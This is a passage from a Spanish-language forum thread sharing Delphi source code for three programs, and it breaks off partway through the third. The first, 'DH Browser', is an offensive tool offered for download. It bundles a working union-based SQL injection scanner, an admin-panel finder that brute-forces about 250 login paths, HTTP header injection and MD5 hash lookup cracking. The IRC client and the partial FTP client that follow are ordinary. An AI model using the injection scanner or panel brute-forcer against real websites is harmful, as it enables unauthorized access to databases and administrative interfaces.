Mensajes

Un navegador web en Delphi con las siguientes opciones :

• Podes ver el codigo fuente de la pagina cargado
  
• Se puede modificar los headers para HTTP Header Injection
  
• Se puede buscar palabras en el codigo fuente
  
• SQLI Scanner incorporado
  
• Admin Finder incorporado
  
• Crack MD5 incorporado
  
  Una imagen :
  
  
  
  El codigo :
  
  
  Código (delphi) [Seleccionar] Expandir
  
// DH Browser 1.0
// (C) Doddy Hackman 2016
// Credits :
// Navigate based on : http://www.swissdelphicenter.ch/torry/showcode.php?id=2242
// FindText based on : http://delphi.cjcsoft.net/viewthread.php?tid=47143
// Get HTML based on : http://delphi.about.com/od/adptips2005/qt/webbrowserhtml.htm

unit dh;

interface

uses
  Winapi.Windows, Winapi.Messages, System.SysUtils, System.Variants,
  System.Classes, Vcl.Graphics,
  Vcl.Controls, Vcl.Forms, Vcl.Dialogs, Vcl.StdCtrls, Vcl.OleCtrls, SHDocVw,
  Vcl.Imaging.pngimage, Vcl.ExtCtrls, Vcl.ComCtrls, mshtml, Vcl.Menus,
  IdBaseComponent, IdComponent, IdTCPConnection, IdTCPClient, IdHTTP, PerlRegEx,
  IdMultipartFormData, Vcl.ImgList, Vcl.Styles.Utils.ComCtrls,
  Vcl.Styles.Utils.Menus,
  Vcl.Styles.Utils.SysStyleHook,
  Vcl.Styles.Utils.SysControls, Vcl.Styles.Utils.Forms,
  Vcl.Styles.Utils.StdCtrls, Vcl.Styles.Utils.ScreenTips;

type
  TFormHome = class(TForm)
    gbEnterPage: TGroupBox;
    btnEnter: TButton;
    gbHeaders: TGroupBox;
    mmHeaders: TMemo;
    GroupBox3: TGroupBox;
    GroupBox4: TGroupBox;
    gbAbout: TGroupBox;
    txtURL: TEdit;
    imgLogo: TImage;
    imgAbout: TImage;
    btnSQLI_Scanner: TButton;
    btnAdminFinder: TButton;
    btnCrack_MD5: TButton;
    btnSearch_for_text: TButton;
    cbUse_This_Headers: TCheckBox;
    browser: TWebBrowser;
    status: TStatusBar;
    progreso: TProgressBar;
    mmSource: TMemo;
    menu: TPopupMenu;
    ShowSourceHTML1: TMenuItem;
    ShowBrowser1: TMenuItem;
    nave: TIdHTTP;
    buscar_codigo: TFindDialog;
    ilIconos: TImageList;
    lblAbout: TLabel;
    procedure btnEnterClick(Sender: TObject);
    procedure browserDownloadComplete(Sender: TObject);
    procedure browserProgressChange(ASender: TObject;
      Progress, ProgressMax: Integer);
    procedure ShowSourceHTML1Click(Sender: TObject);
    procedure ShowBrowser1Click(Sender: TObject);
    procedure btnSQLI_ScannerClick(Sender: TObject);
    procedure btnAdminFinderClick(Sender: TObject);
    procedure btnCrack_MD5Click(Sender: TObject);
    procedure btnSearch_for_textClick(Sender: TObject);
    procedure buscar_codigoFind(Sender: TObject);
    procedure FormCreate(Sender: TObject);

  private
    { Private declarations }
  public
    { Public declarations }
  end;

var
  FormHome: TFormHome;

implementation

{$R *.dfm}

procedure TFormHome.btnAdminFinderClick(Sender: TObject);
const
  paginas: array [1 .. 250] of string = ('admin/admin.asp', 'admin/login.asp',
    'admin/index.asp', 'admin/admin.aspx', 'admin/login.aspx',
    'admin/index.aspx', 'admin/webmaster.asp', 'admin/webmaster.aspx',
    'asp/admin/index.asp', 'asp/admin/index.aspx', 'asp/admin/admin.asp',
    'asp/admin/admin.aspx', 'asp/admin/webmaster.asp',
    'asp/admin/webmaster.aspx', 'admin/', 'login.asp', 'login.aspx',
    'admin.asp', 'admin.aspx', 'webmaster.aspx', 'webmaster.asp',
    'login/index.asp', 'login/index.aspx', 'login/login.asp',
    'login/login.aspx', 'login/admin.asp', 'login/admin.aspx',
    'administracion/index.asp', 'administracion/index.aspx',
    'administracion/login.asp', 'administracion/login.aspx',
    'administracion/webmaster.asp', 'administracion/webmaster.aspx',
    'administracion/admin.asp', 'administracion/admin.aspx', 'php/admin/',
    'admin/admin.php', 'admin/index.php', 'admin/login.php', 'admin/system.php',
    'admin/ingresar.php', 'admin/administrador.php', 'admin/default.php',
    'administracion/', 'administracion/index.php', 'administracion/login.php',
    'administracion/ingresar.php', 'administracion/admin.php',
    'administration/', 'administration/index.php', 'administration/login.php',
    'administrator/index.php', 'administrator/login.php',
    'administrator/system.php', 'system/', 'system/login.php', 'admin.php',
    'login.php', 'administrador.php', 'administration.php', 'administrator.php',
    'admin1.html', 'admin1.php', 'admin2.php', 'admin2.html', 'yonetim.php',
    'yonetim.html', 'yonetici.php', 'yonetici.html', 'adm/',
    'admin/account.php', 'admin/account.html', 'admin/index.html',
    'admin/login.html', 'admin/home.php', 'admin/controlpanel.html',
    'admin/controlpanel.php', 'admin.html', 'admin/cp.php', 'admin/cp.html',
    'cp.php', 'cp.html', 'administrator/', 'administrator/index.html',
    'administrator/login.html', 'administrator/account.html',
    'administrator/account.php', 'administrator.html', 'login.html',
    'modelsearch/login.php', 'moderator.php', 'moderator.html',
    'moderator/login.php', 'moderator/login.html', 'moderator/admin.php',
    'moderator/admin.html', 'moderator/', 'account.php', 'account.html',
    'controlpanel/', 'controlpanel.php', 'controlpanel.html',
    'admincontrol.php', 'admincontrol.html', 'adminpanel.php',
    'adminpanel.html', 'admin1.asp', 'admin2.asp', 'yonetim.asp',
    'yonetici.asp', 'admin/account.asp', 'admin/home.asp',
    'admin/controlpanel.asp', 'admin/cp.asp', 'cp.asp',
    'administrator/index.asp', 'administrator/login.asp',
    'administrator/account.asp', 'administrator.asp', 'modelsearch/login.asp',
    'moderator.asp', 'moderator/login.asp', 'moderator/admin.asp',
    'account.asp', 'controlpanel.asp', 'admincontrol.asp', 'adminpanel.asp',
    'fileadmin/', 'fileadmin.php', 'fileadmin.asp', 'fileadmin.html',
    'administration.html', 'sysadmin.php', 'sysadmin.html', 'phpmyadmin/',
    'myadmin/', 'sysadmin.asp', 'sysadmin/', 'ur-admin.asp', 'ur-admin.php',
    'ur-admin.html', 'ur-admin/', 'Server.php', 'Server.html', 'Server.asp',
    'Server/', 'wpadmin/', 'administr8.php', 'administr8.html', 'administr8/',
    'administr8.asp', 'webadmin/', 'webadmin.php', 'webadmin.asp',
    'webadmin.html', 'administratie/', 'admins/', 'admins.php', 'admins.asp',
    'admins.html', 'administrivia/', 'Database_Administration/', 'WebAdmin/',
    'useradmin/', 'sysadmins/', 'admin1/', 'systemadministration/',
    'administrators/', 'pgadmin/', 'directadmin/', 'staradmin/',
    'ServerAdministrator/', 'SysAdmin/', 'administer/', 'LiveUser_Admin/',
    'sysadmin/', 'typo3/', 'panel/', 'cpanel/', 'cPanel/', 'cpanel_file/',
    'platz_login/', 'rcLogin/', 'blogindex/', 'formslogin/', 'autologin/',
    'support_login/', 'meta_login/', 'manuallogin/', 'simpleLogin/',
    'loginflat/', 'utility_login/', 'showlogin/', 'memlogin/', 'members/',
    'login-redirect/', 'sublogin/', 'wplogin/', 'login1/', 'dirlogin/',
    'login_db/', 'xlogin/', 'smblogin/', 'customer_login/', 'UserLogin/',
    'loginus/', 'acct_login/', 'admin_area/', 'bigadmin/', 'project-admins/',
    'phppgadmin/', 'pureadmin/', 'sqladmin/', 'radmind/', 'openvpnadmin/',
    'wizmysqladmin/', 'vadmind/', 'ezsqliteadmin/', 'hpwebjetadmin/',
    'newsadmin/', 'adminpro/', 'Lotus_Domino_Admin/', 'bbadmin/', 'vmailadmin/',
    'Indy_admin/', 'ccp14admin/', 'irc-macadmin/', 'banneradmin/', 'sshadmin/',
    'phpldapadmin/', 'macadmin/', 'administratoraccounts/', 'admin4_account/',
    'admin4_colon/', 'radmind1/', 'SuperAdmin/', 'AdminTools/', 'cmsadmin/',
    'SysAdmin2/', 'globes_admin/', 'cadmins/', 'phpSQLiteAdmin/',
    'navSiteAdmin/', 'server_admin_small/', 'logo_sysadmin/', 'server/',
    'database_administration/', 'power_user/', 'system_administration/',
    'ss_vms_admin_sm/');
var
  i: Integer;
  control: Integer;

var
  cabeceras: OLEVariant;
  uno: OLEVariant;
  dos: OLEVariant;
  tres: OLEVariant;

begin

  if not(txtURL.Text = '') then
  begin
    control := 0;

    status.Panels[0].Text := '[+] Finding Panel ....';
    FormHome.status.Update;

    for i := Low(paginas) to High(paginas) do

      if (control = 1) then
      begin
        Abort;
      end
      else
      begin

        try

          status.Panels[0].Text := '[+] Testing : ' + paginas[i];
          FormHome.status.Update;

          nave.Get(txtURL.Text + '/' + paginas[i]);
          if nave.ResponseCode = 200 then
          begin

            txtURL.Text := txtURL.Text + '/' + paginas[i];

            uno := navNoReadFromCache or navNoWriteToCache;
            dos := '';
            tres := '';

            if (cbUse_This_Headers.Checked) then
            begin
              cabeceras := mmHeaders.Text;
              browser.Navigate(txtURL.Text, uno, dos, tres, cabeceras);
            end
            else
            begin
              cabeceras := '';
              browser.Navigate(txtURL.Text, uno, dos, tres, cabeceras);
            end;
            control := 1;
            status.Panels[0].Text := '[+] Panel Found';
            FormHome.status.Update;
            MessageBox(0, 'Panel Found', 'DH Browser 1.0', MB_ICONINFORMATION);
            Abort;
          end;
        except
          on E: EIdHttpProtocolException do;
          on E: Exception do;
        end;

      end;

    status.Panels[0].Text := '[-] Panel not found';
    FormHome.status.Update;
    MessageBox(0, 'Panel not found', 'DH Browser 1.0', MB_ICONERROR);
  end
  else
  begin
    MessageBox(0, 'Enter URL', 'DH Browser 1.0', MB_ICONINFORMATION);
  end;

end;

procedure TFormHome.browserDownloadComplete(Sender: TObject);
var
  buscador: IHTMLElement;
begin

  progreso.Position := 0;

  status.Panels[0].Text := '[+] Page loaded';
  FormHome.status.Update;

  // Get HTML based on : http://delphi.about.com/od/adptips2005/qt/webbrowserhtml.htm

  begin

    try
      begin

        mmSource.Clear;

        buscador := (browser.Document AS IHTMLDocument2).body;

        while not(buscador.parentElement = nil) do
        begin
          buscador := buscador.parentElement;
        end;
        mmSource.Lines.Add(buscador.outerHTML);
      end;
    except
      // ??
    end;
  end;
end;

procedure TFormHome.browserProgressChange(ASender: TObject;
  Progress, ProgressMax: Integer);
begin
  progreso.Max := ProgressMax;
  progreso.Position := Progress;
end;

procedure TFormHome.buscar_codigoFind(Sender: TObject);
// FindText based on : http://delphi.cjcsoft.net/viewthread.php?tid=47143

var
  aca: PChar;
  aca2: PChar;
  acatoy: PChar;
  acatoy2: Word;

begin

  With Sender as TFindDialog do

  begin

    GetMem(aca2, Length(FindText) + 1);
    StrPCopy(aca2, FindText);

    acatoy2 := mmSource.GetTextLen + 1;
    GetMem(aca, acatoy2);

    mmSource.GetTextBuf(aca, acatoy2);

    acatoy := aca + mmSource.SelStart + mmSource.SelLength;
    acatoy := StrPos(acatoy, aca2);

    if not(acatoy = NIL) then
    begin
      mmSource.SelStart := acatoy - aca;
      mmSource.SelLength := Length(FindText);
    end;

    mmSource.SetFocus;

  end;

end;

procedure TFormHome.btnCrack_MD5Click(Sender: TObject);
var
  md5: string;
  datos: TIdMultiPartFormDataStream;
  code: string;
  regex_check: TPerlRegEx;
  cracked: string;
begin

  md5 := InputBox('DH Browser 1.0', 'MD5 : ', '');

  if not(md5 = '') then
  begin
    regex_check := TPerlRegEx.Create();
    datos := TIdMultiPartFormDataStream.Create;
    datos.AddFormField('pass', md5);
    datos.AddFormField('option', 'hash2text');
    datos.AddFormField('send', 'Submit');

    status.Panels[0].Text := '[+] Cracking ...';
    FormHome.status.Update;

    code := nave.Post('http://md5online.net/index.php', datos);

    regex_check.regex :=
      '<center><p>md5 :<b>(.*?)</b> <br>pass : <b>(.*?)</b></p>';
    regex_check.Subject := code;

    if regex_check.Match then
    begin
      cracked := regex_check.Groups[2];
      status.Panels[0].Text := '[+] MD5 Cracked : ' + cracked;
      FormHome.status.Update;
      MessageBox(0, PChar('MD5 Cracked : ' + cracked), 'DH Browser 1.0',
        MB_ICONINFORMATION);

    end
    else
    begin
      status.Panels[0].Text := '[-] Not found';
      FormHome.status.Update;
      MessageBox(0, 'Not found', 'DH Browser 1.0', MB_ICONERROR);
    end;
  end;

end;

procedure TFormHome.btnEnterClick(Sender: TObject);
// Navigate based on : http://www.swissdelphicenter.ch/torry/showcode.php?id=2242

var

  cabeceras: OLEVariant;
  uno: OLEVariant;
  dos: OLEVariant;
  tres: OLEVariant;

begin

  uno := navNoReadFromCache or navNoWriteToCache;
  dos := '';
  tres := '';

  if (cbUse_This_Headers.Checked) then
  begin
    cabeceras := mmHeaders.Text;
    browser.Navigate(txtURL.Text, uno, dos, tres, cabeceras);
  end
  else
  begin
    cabeceras := '';
    browser.Navigate(txtURL.Text, uno, dos, tres, cabeceras);
  end;

end;

procedure TFormHome.FormCreate(Sender: TObject);
begin
  UseLatestCommonDialogs := False;
end;

procedure TFormHome.btnSearch_for_textClick(Sender: TObject);
begin
  buscar_codigo.Execute;
end;

procedure TFormHome.ShowBrowser1Click(Sender: TObject);
begin
  browser.Visible := True;
  mmSource.Visible := False;
end;

procedure TFormHome.ShowSourceHTML1Click(Sender: TObject);
begin
  browser.Visible := False;
  mmSource.Visible := True;
end;

procedure TFormHome.btnSQLI_ScannerClick(Sender: TObject);
var
  pass1: string;
  pass2: string;
  code: string;
  urltest: string;
  urlgen: string;
  full: string;
  codedos: string;
  i: Integer;
  regex_check: TPerlRegEx;

var

  cabeceras: OLEVariant;
  uno: OLEVariant;
  dos: OLEVariant;
  tres: OLEVariant;

begin

  if not(txtURL.Text = '') then
  begin
    regex_check := TPerlRegEx.Create();

    status.Panels[0].Text := '[+] SQLI Scanning ...';
    FormHome.status.Update;

    pass1 := '+';
    pass2 := '--';

    urltest := 'concat(0x4b30425241,1,0x4b30425241)';

    status.Panels[0].Text := '[+] Checking ...';
    FormHome.status.Update;

    code := nave.Get(txtURL.Text + '1' + pass1 + 'and' + pass1 + '1=1' + pass2);

    codedos := nave.Get(txtURL.Text + '1' + pass1 + 'and' + pass1 +
      '1=0' + pass2);

    if not(code = codedos) then
    begin

      status.Panels[0].Text := '[+] Finding columns number';
      FormHome.status.Update;

      urltest := '1' + pass1 + 'and' + pass1 + '1=0' + pass1 + 'union' + pass1 +
        'select' + pass1 + 'concat(0x4b30425241,1,0x4b30425241)';
      urlgen := '1';
      for i := 2 to 36 do
      begin

        status.Panels[0].Text := '[+] Columns Length : ' + IntToStr(i);
        FormHome.status.Update;
        urltest := urltest + ',concat(0x4b30425241,' + IntToStr(i) +
          ',0x4b30425241)';
        urlgen := urlgen + ',' + IntToStr(i);
        code := nave.Get(txtURL.Text + urltest + pass2);

        regex_check.regex := 'K0BRA(.*?)K0BRA';
        regex_check.Subject := code;

        if regex_check.Match then
        begin

          urlgen := StringReplace(urlgen, regex_check.Groups[1], 'hackman', []);
          full := txtURL.Text + '1' + pass1 + 'and' + pass1 + '1=0' + pass1 +
            'union' + pass1 + 'select' + pass1 + urlgen;

          txtURL.Text := full;

          uno := navNoReadFromCache or navNoWriteToCache;
          dos := '';
          tres := '';

          if (cbUse_This_Headers.Checked) then
          begin
            cabeceras := mmHeaders.Text;
            browser.Navigate(txtURL.Text, uno, dos, tres, cabeceras);
          end
          else
          begin
            cabeceras := '';
            browser.Navigate(txtURL.Text, uno, dos, tres, cabeceras);
          end;
          status.Panels[0].Text := '[+] SQI Scanner Finished';
          FormHome.status.Update;
          MessageBox(0, 'SQI Scanner Finished', 'DH Browser 1.0',
            MB_ICONINFORMATION);

          Abort;

        end;

      end;
      status.Panels[0].Text := '[-] Columns length not found';
      FormHome.status.Update;
      MessageBox(0, 'Columns length not found', 'DH Browser 1.0', MB_ICONERROR);
    end
    else
    begin
      status.Panels[0].Text := '[-] Not vulnerable';
      FormHome.status.Update;
      MessageBox(0, 'Not vulnerable', 'DH Browser 1.0', MB_ICONERROR);
    end;

    status.Panels[0].Text := '[+] Done';
    FormHome.status.Update;
  end
  else
  begin
    MessageBox(0, 'Enter URL', 'DH Browser 1.0', MB_ICONINFORMATION);
  end;

end;

end.

// The End ?

  
  Si quieren bajar el programa lo pueden hacer de aca :
  
  SourceForge.
  Github.
  
  Eso seria todo.

Un simple cliente para chatear en el IRC.

Una imagen :



El codigo :

Código (delphi) [Seleccionar] Expandir


// IRC Manager 0.3
// (C) Doddy Hackman 2016

unit irc;

interface

uses
  Winapi.Windows, Winapi.Messages, System.SysUtils, System.Variants,
  System.Classes, Vcl.Graphics,
  Vcl.Controls, Vcl.Forms, Vcl.Dialogs, Vcl.StdCtrls, Vcl.ComCtrls, Vcl.Menus,
  Vcl.Imaging.pngimage, Vcl.ExtCtrls, IdContext, IdBaseComponent, IdComponent,
  IdTCPConnection, IdTCPClient, IdCmdTCPClient, IdIRC, PerlRegex, MMSystem,
  Vcl.ImgList, Vcl.Styles.Utils.ComCtrls, Vcl.Styles.Utils.Menus,
  Vcl.Styles.Utils.SysStyleHook,
  Vcl.Styles.Utils.SysControls, Vcl.Styles.Utils.Forms,
  Vcl.Styles.Utils.StdCtrls, Vcl.Styles.Utils.ScreenTips;

type
  TFormHome = class(TForm)
    status: TStatusBar;
    gbIRC_Config: TGroupBox;
    lblHost: TLabel;
    txtHost: TEdit;
    lblPort: TLabel;
    txtPort: TEdit;
    lblChannel: TLabel;
    txtChannel: TEdit;
    lblNick: TLabel;
    gbChat: TGroupBox;
    gbNicks: TGroupBox;
    lbNicks: TListBox;
    txtNickname: TEdit;
    btnConnect: TButton;
    gbEnterText: TGroupBox;
    txtText: TEdit;
    btnSend: TButton;
    logo: TImage;
    mmChat: TRichEdit;
    irc: TIdIRC;
    ilIconos: TImageList;
    procedure btnConnectClick(Sender: TObject);
    procedure ircRaw(ASender: TIdContext; AIn: Boolean; const AMessage: string);
    procedure btnSendClick(Sender: TObject);
    procedure ircPrivateMessage(ASender: TIdContext;
      const ANickname, AHost, ATarget, AMessage: string);
    procedure ircNotice(ASender: TIdContext; const ANickname, AHost, ATarget,
      ANotice: string);
    procedure ircJoin(ASender: TIdContext;
      const ANickname, AHost, AChannel: string);
    procedure ircPart(ASender: TIdContext; const ANickname, AHost, AChannel,
      APartMessage: string);
    procedure ircQuit(ASender: TIdContext;
      const ANickname, AHost, AReason: string);
    procedure FormClose(Sender: TObject; var Action: TCloseAction);
    procedure FormCreate(Sender: TObject);
  private
    { Private declarations }
  public
    { Public declarations }
    logs_messages: Boolean;
  end;

var
  FormHome: TFormHome;

implementation

{$R *.dfm}

procedure TFormHome.btnConnectClick(Sender: TObject);
begin
  if (btnConnect.Caption = 'Connect') then
  begin

    irc.nickname := txtNickname.text;
    irc.AltNickname := txtNickname.text + '123';
    irc.Username := txtNickname.text;
    irc.RealName := txtNickname.text;
    irc.Password := '';
    irc.host := txtHost.text;
    irc.port := StrToInt(txtPort.text);

    mmChat.Lines.Clear;
    lbNicks.Items.Clear;
    logs_messages := False;

    try
      begin
        mmChat.Lines.Add('Connecting ...');
        irc.connect;
        irc.Join(txtChannel.text);
        btnConnect.Caption := 'Disconnect';
        status.Panels[0].text := '[+] Connected';
        FormHome.status.Update;
        mmChat.Lines.Add('Connected !');
      end;
    except
      begin
        status.Panels[0].text := '[-] Error connecting to server';
        FormHome.status.Update;
        mmChat.Lines.Add('Error connecting to server !');
        MessageBox(0, 'Error connecting to server', 'IRC Manager 1.0',
          MB_ICONERROR);
      end;
    end;
  end
  else
  begin
    if (btnConnect.Caption = 'Disconnect') then
    begin
      irc.Part('');
      irc.Disconnect('');
      btnConnect.Caption := 'Connect';
      status.Panels[0].text := '[+] Disconnected';
      FormHome.status.Update;
      mmChat.Lines.Add('Disconnected !');
    end;
  end;

end;

procedure TFormHome.btnSendClick(Sender: TObject);
begin
  if not(txtText.text = '') then
  begin
    irc.Say(txtChannel.text, txtText.text);
    mmChat.Lines.Add('<' + txtNickname.text + '> ' + txtText.text);
    txtText.text := '';
  end;
end;

procedure TFormHome.FormClose(Sender: TObject; var Action: TCloseAction);
begin
  if mrYes = MessageDlg('Close program ?', mtwarning, [mbYes, mbNo], 0) then
  begin
    Exit;
  end
  else
  begin
    Action := caNone;
  end;
end;

procedure TFormHome.FormCreate(Sender: TObject);
begin
  UseLatestCommonDialogs := False;
end;

procedure TFormHome.ircJoin(ASender: TIdContext;
  const ANickname, AHost, AChannel: string);
begin
  lbNicks.Items.Add(ANickname);
  mmChat.Lines.Add(ANickname + ' has joined');
end;

procedure TFormHome.ircNotice(ASender: TIdContext;
  const ANickname, AHost, ATarget, ANotice: string);
begin
  // chat.Lines.Add('<' + ANickname + '> ' + ANotice);
end;

procedure TFormHome.ircPart(ASender: TIdContext;
  const ANickname, AHost, AChannel, APartMessage: string);
begin
  lbNicks.Items.Delete(lbNicks.Items.IndexOf(ANickname));
  mmChat.Lines.Add(ANickname + ' part');
end;

procedure TFormHome.ircPrivateMessage(ASender: TIdContext;
  const ANickname, AHost, ATarget, AMessage: string);
var
  check_regex: TPerlRegex;
begin

  check_regex := TPerlRegex.Create();

  check_regex.regex := txtNickname.text;
  check_regex.Subject := AMessage;
  check_regex.Options := [preCaseLess];

  if check_regex.Match then
  begin
    mmChat.SelAttributes.Color := clRed;
    mmChat.SelAttributes.Style := [fsBold];
    mmChat.Lines.Add('* <' + ANickname + '> ' + AMessage);
    sndPlaySound(Pchar(GetCurrentDir + '/Data/click.wav'), SND_NODEFAULT);
  end
  else
  begin
    mmChat.Lines.Add('<' + ANickname + '> ' + AMessage);
  end;

  check_regex.Free;

end;

procedure TFormHome.ircQuit(ASender: TIdContext;
  const ANickname, AHost, AReason: string);
begin
  lbNicks.Items.Delete(lbNicks.Items.IndexOf(ANickname));
  mmChat.Lines.Add(ANickname + ' quit');
end;

procedure TFormHome.ircRaw(ASender: TIdContext; AIn: Boolean;
  const AMessage: string);
var
  i: integer;
  code: string;
  renicks: string;
  listanow: TStringList;
  regex: TPerlRegex;
  otroregex: TPerlRegex;
  nick: string;
  texto: string;
begin

  code := AMessage;

  if (logs_messages = True) then
  begin
    mmChat.Lines.Add(code);
  end;

  regex := TPerlRegex.Create();
  otroregex := TPerlRegex.Create();

  regex.regex := '353 (.*) = #(.*) :(.*)';
  regex.Subject := code;

  if regex.Match then
  begin

    lbNicks.Clear;

    renicks := regex.Groups[3];

    renicks := StringReplace(renicks, txtNickname.text, '', []);

    listanow := TStringList.Create;
    listanow.Delimiter := ' ';
    listanow.DelimitedText := renicks;

    for i := 0 to listanow.Count - 1 do
    begin
      if not(listanow[i] = '@') then
      begin
        lbNicks.Items.Add(listanow[i]);
      end;
    end;

    lbNicks.Items.Add(txtNickname.text);

    logs_messages := False;

  end;

  otroregex.regex := 'PRIVMSG (.*) :
ACTION (.*)';
  otroregex.Subject := code;

  if otroregex.Match then
  begin
    nick := otroregex.Groups[1];
    texto := otroregex.Groups[2];
    mmChat.Lines.Add('* ' + texto);
  end;

  regex.Free;
  otroregex.Free;

end;

end.

// The End ?


Si quieren bajar el programa lo pueden hacer de aca.

Un cliente FTP en Delphi con las siguientes opciones :

• Se puede conectar a cualquier servidor FTP
  
• Navegar y listar los directorios de nuestra computadora
  
• Navegar y listar los directorios del servidor FTP
  
• Se puede crear,renombrar,eliminar archivos y directorios de nuestra computadora
  
• Se puede crear,renombrar,eliminar archivos y directorios del servidor FTP
  
• Se puede bajar y subir archivos del servidor FTP comodamente
  
  Una imagen :
  
  
  
  El codigo :
  
  
  Código (delphi) [Seleccionar] Expandir
  
// FTP Manager 1.0
// (C) Doddy Hackman 2016

unit ftp;

interface

uses
  Winapi.Windows, Winapi.Messages, System.SysUtils, System.Variants,
  System.Classes, Vcl.Graphics,
  Vcl.Controls, Vcl.Forms, Vcl.Dialogs, Vcl.StdCtrls, Vcl.ComCtrls,
  IdBaseComponent, IdComponent, IdTCPConnection, IdTCPClient,
  IdExplicitTLSClientServerBase, IdFTP, Shellapi, Vcl.ImgList, IdFTPList,
  Vcl.Imaging.pngimage, Vcl.ExtCtrls, Vcl.Menus, Vcl.Styles.Utils.ComCtrls,
  Vcl.Styles.Utils.Menus,
  Vcl.Styles.Utils.SysStyleHook,
  Vcl.Styles.Utils.SysControls, Vcl.Styles.Utils.Forms,
  Vcl.Styles.Utils.StdCtrls, Vcl.Styles.Utils.ScreenTips;

type
  TFormHome = class(TForm)
    gbFTP_Data: TGroupBox;
    lblHost: TLabel;
    txtHost: TEdit;
    lblUsername: TLabel;
    txtUsername: TEdit;
    lblPassword: TLabel;
    txtPassword: TEdit;
    btnConnect: TButton;
    gbMyFiles: TGroupBox;
    lblDirectory1: TLabel;
    txtMe_Directory: TEdit;
    btnListMe: TButton;
    lvLocalFiles: TListView;
    gbFTP_Files: TGroupBox;
    lblDirectory2: TLabel;
    txt_FTP_Directory: TEdit;
    btnList_FTP: TButton;
    lv_FTP_Files: TListView;
    btnUpload: TButton;
    btnDownload: TButton;
    directorios: TListBox;
    archivos: TListBox;
    status: TStatusBar;
    local_iconos: TImageList;
    ftp_client: TIdFTP;
    ftp_iconos: TImageList;
    progreso: TProgressBar;
    imgLogo: TImage;
    menu_local: TPopupMenu;
    MakeDirectory1: TMenuItem;
    Rename1: TMenuItem;
    Delete1: TMenuItem;
    Refresh1: TMenuItem;
    menu_ftp: TPopupMenu;
    MakeDirectory2: TMenuItem;
    Rename2: TMenuItem;
    Delete2: TMenuItem;
    Refresh2: TMenuItem;
    ilIconos: TImageList;
    procedure btnConnectClick(Sender: TObject);
    procedure btnListMeClick(Sender: TObject);
    procedure btnList_FTPClick(Sender: TObject);
    procedure btnUploadClick(Sender: TObject);
    procedure ftp_clientWork(ASender: TObject; AWorkMode: TWorkMode;
      AWorkCount: Int64);
    procedure ftp_clientWorkBegin(ASender: TObject; AWorkMode: TWorkMode;
      AWorkCountMax: Int64);
    procedure ftp_clientWorkEnd(ASender: TObject; AWorkMode: TWorkMode);
    procedure btnDownloadClick(Sender: TObject);
    procedure lvLocalFilesDblClick(Sender: TObject);
    procedure lv_FTP_FilesDblClick(Sender: TObject);
    procedure MakeDirectory1Click(Sender: TObject);
    procedure Rename1Click(Sender: TObject);
    procedure Delete1Click(Sender: TObject);
    procedure Refresh1Click(Sender: TObject);
    procedure FormCreate(Sender: TObject);
    procedure MakeDirectory2Click(Sender: TObject);
    procedure Rename2Click(Sender: TObject);
    procedure Delete2Click(Sender: TObject);
    procedure Refresh2Click(Sender: TObject);

  private
    { Private declarations }
  public
    { Public declarations }
  end;

var
  FormHome: TFormHome;

implementation

{$R *.dfm}

procedure listar(dirnownow: string; ListaDeArchivos: TListView;
  ListaDeIconos: TImageList);
var
  buscar: TSearchRec;
  Icon: TIcon;
  listate: TListItem;
  getdata: SHFILEINFO;
  dirnow: string;

begin

  if (DirectoryExists(dirnownow)) then
  begin
    ListaDeIconos.Clear;

    dirnow := StringReplace(dirnownow, '/', '\', [rfReplaceAll, rfIgnoreCase]);

    ListaDeArchivos.Items.Clear;
    Icon := TIcon.Create;
    ListaDeArchivos.Items.BeginUpdate;

    if FindFirst(dirnow + '*.*', faAnyFile, buscar) = 0 then
    begin
      repeat
        if (buscar.Attr = faDirectory) then
        begin

          with ListaDeArchivos do
          begin

            if not(buscar.Name = '.') and not(buscar.Name = '..') then
            begin

              listate := ListaDeArchivos.Items.Add;

              SHGetFileInfo(PChar(dirnow + buscar.Name), 0, getdata,
                SizeOf(getdata), SHGFI_DISPLAYNAME);
              listate.Caption := getdata.szDisplayName;

              SHGetFileInfo(PChar(dirnow + buscar.Name), 0, getdata,
                SizeOf(getdata), SHGFI_TYPENAME);
              listate.SubItems.Add(getdata.szTypeName);

              SHGetFileInfo(PChar(dirnow + buscar.Name), 0, getdata,
                SizeOf(getdata), SHGFI_ICON or SHGFI_SMALLICON);
              Icon.Handle := getdata.hIcon;
              listate.ImageIndex := ListaDeIconos.AddIcon(Icon);

              DestroyIcon(getdata.hIcon);

            end;
          end;

        end;
      until FindNext(buscar) <> 0;
      FindClose(buscar);
    end;

    if FindFirst(dirnow + '*.*', faAnyFile, buscar) = 0 then
    begin
      repeat
        if (buscar.Attr <> faDirectory) then
        begin

          with ListaDeArchivos do
          begin

            listate := ListaDeArchivos.Items.Add;

            SHGetFileInfo(PChar(dirnow + buscar.Name), 0, getdata,
              SizeOf(getdata), SHGFI_DISPLAYNAME);
            listate.Caption := buscar.Name;

            SHGetFileInfo(PChar(dirnow + buscar.Name), 0, getdata,
              SizeOf(getdata), SHGFI_TYPENAME);
            listate.SubItems.Add(getdata.szTypeName);

            SHGetFileInfo(PChar(dirnow + buscar.Name), 0, getdata,
              SizeOf(getdata), SHGFI_ICON or SHGFI_SMALLICON);
            Icon.Handle := getdata.hIcon;
            listate.ImageIndex := ListaDeIconos.AddIcon(Icon);

            DestroyIcon(getdata.hIcon);

          end;

        end

        until FindNext(buscar) <> 0;
        FindClose(buscar);
      end;

      ListaDeArchivos.Items.EndUpdate;
    end;

  end;

  procedure listarftp(dirnownow2: string; ListaDeArchivosFTP: TListView;
    ftp: TIdFTP; DirectoriosEncontrados: TListBox;
    ArchivosEncontrados: TListBox);
  var
    i: integer;
    Item: TIdFTPListItem;
    listate2: TListItem;

  begin

    ListaDeArchivosFTP.Items.Clear;
    DirectoriosEncontrados.Clear;
    ArchivosEncontrados.Clear;

    listate2 := ListaDeArchivosFTP.Items.Add;

    ftp.ChangeDir(dirnownow2);
    ftp.List('*.*', True);

    for i := 0 to ftp.DirectoryListing.Count - 1 do
    begin

      Item := ftp.DirectoryListing.Items[i];
      if Item.ItemType = ditFile then
      begin
        DirectoriosEncontrados.Items.Add(ftp.DirectoryListing.Items[i]
          .FileName);
      end
      else
      begin
        ArchivosEncontrados.Items.Add(ftp.DirectoryListing.Items[i].FileName);
      end;

    end;

    ListaDeArchivosFTP.Items.Clear;

    for i := 0 to ArchivosEncontrados.Count - 1 do
    begin

      with ListaDeArchivosFTP do

      begin

        listate2 := ListaDeArchivosFTP.Items.Add;
        listate2.Caption := ArchivosEncontrados.Items[i];
        listate2.SubItems.Add('Directory');
        listate2.ImageIndex := 0;

      end;
    end;

